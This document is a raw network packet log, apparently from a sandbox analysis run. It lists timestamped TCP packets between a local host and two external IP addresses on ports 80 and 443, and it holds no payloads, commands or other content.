Oct 31, 2024 23:38:15.598505020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598516941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598540068 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598546982 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598582983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598598003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598613024 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598634005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598638058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598653078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598653078 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598668098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598681927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598690033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598705053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598706961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598720074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598721027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598735094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598745108 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598752022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598756075 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598766088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598772049 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598781109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598788977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598795891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598797083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598809958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598818064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598824978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598839998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598841906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598860025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598872900 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598876953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598895073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598915100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599107981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599122047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599163055 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599224091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599240065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599253893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599266052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599277020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599278927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599292040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599298000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599307060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599322081 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599322081 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599328041 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599334955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599344015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599359035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599378109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599379063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599400043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599402905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599416018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599423885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599431992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599440098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599447966 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599450111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599462032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599468946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599478006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599487066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599493027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599495888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599508047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599512100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599522114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599534035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599534035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599546909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599555969 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599560976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599576950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599580050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599591970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599596024 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599607944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599617004 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599622965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599626064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599637985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599647045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599651098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599657059 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599666119 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599668980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599679947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599682093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599694967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599704027 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599709988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599730015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599733114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599742889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599747896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.599771023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.599790096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600708008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600723982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600739002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600764036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600769997 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600778103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600792885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600800991 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600809097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600811958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600837946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600840092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600847960 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600853920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600868940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600874901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600884914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600900888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.600970984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600985050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.600999117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601008892 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601012945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601018906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601028919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601041079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601044893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601054907 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601059914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601073027 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601077080 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601079941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601094961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601108074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601121902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601138115 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601150990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601174116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601166964 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601190090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601195097 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601205111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601217031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601218939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601227045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601239920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601246119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601255894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601269960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601275921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601286888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601300955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601310015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601314068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601321936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601330042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601336002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601346016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601356983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601361036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601366043 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601377010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601382971 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601389885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601408958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601639032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601654053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601670027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601679087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601686001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601689100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601701975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601711035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601716995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601721048 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601732016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601735115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601747036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601748943 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601762056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601766109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601777077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601778984 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601793051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601808071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601810932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601810932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601825953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601826906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601836920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601840973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601856947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601857901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601871967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.601880074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601897955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.601924896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602266073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602314949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602329969 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602354050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602375031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602440119 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602453947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602490902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602586985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602602959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602627039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602642059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602654934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602674961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602711916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602725983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602741003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602751970 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602756023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602765083 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602771997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602786064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.602787971 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602802992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.602827072 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603183031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603198051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603213072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603224039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603233099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603236914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603249073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603260040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603264093 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603271008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603279114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603286982 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603296041 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603301048 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603318930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603322983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603331089 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603362083 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603534937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603549957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603571892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603585958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603586912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603602886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603615046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603617907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603632927 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603637934 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603645086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603655100 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603660107 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603669882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603679895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603683949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603689909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603698969 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603713036 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603713989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603738070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603740931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603751898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603761911 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603766918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603780031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603796005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603797913 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603813887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603827953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603843927 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603852034 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603859901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603866100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603876114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603888988 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603892088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603902102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603905916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603919983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603933096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.603945017 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.603976965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604100943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604115963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604130983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604144096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604146004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604151964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604160070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604175091 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604175091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604183912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604183912 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604196072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604207993 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604209900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604224920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604228973 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604242086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604253054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604268074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604276896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604407072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604420900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604441881 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604454994 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604562998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604577065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604612112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604626894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604639053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604644060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604650021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604660034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.604669094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604680061 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.604693890 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.615669966 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615716934 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615756989 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615791082 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615796089 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.615804911 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615827084 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.615859985 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615900993 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615906000 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.615912914 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.615950108 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.616589069 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.640091896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.640106916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.640126944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.640188932 CET	49837	80	192.168.2.4	185.215.113.16
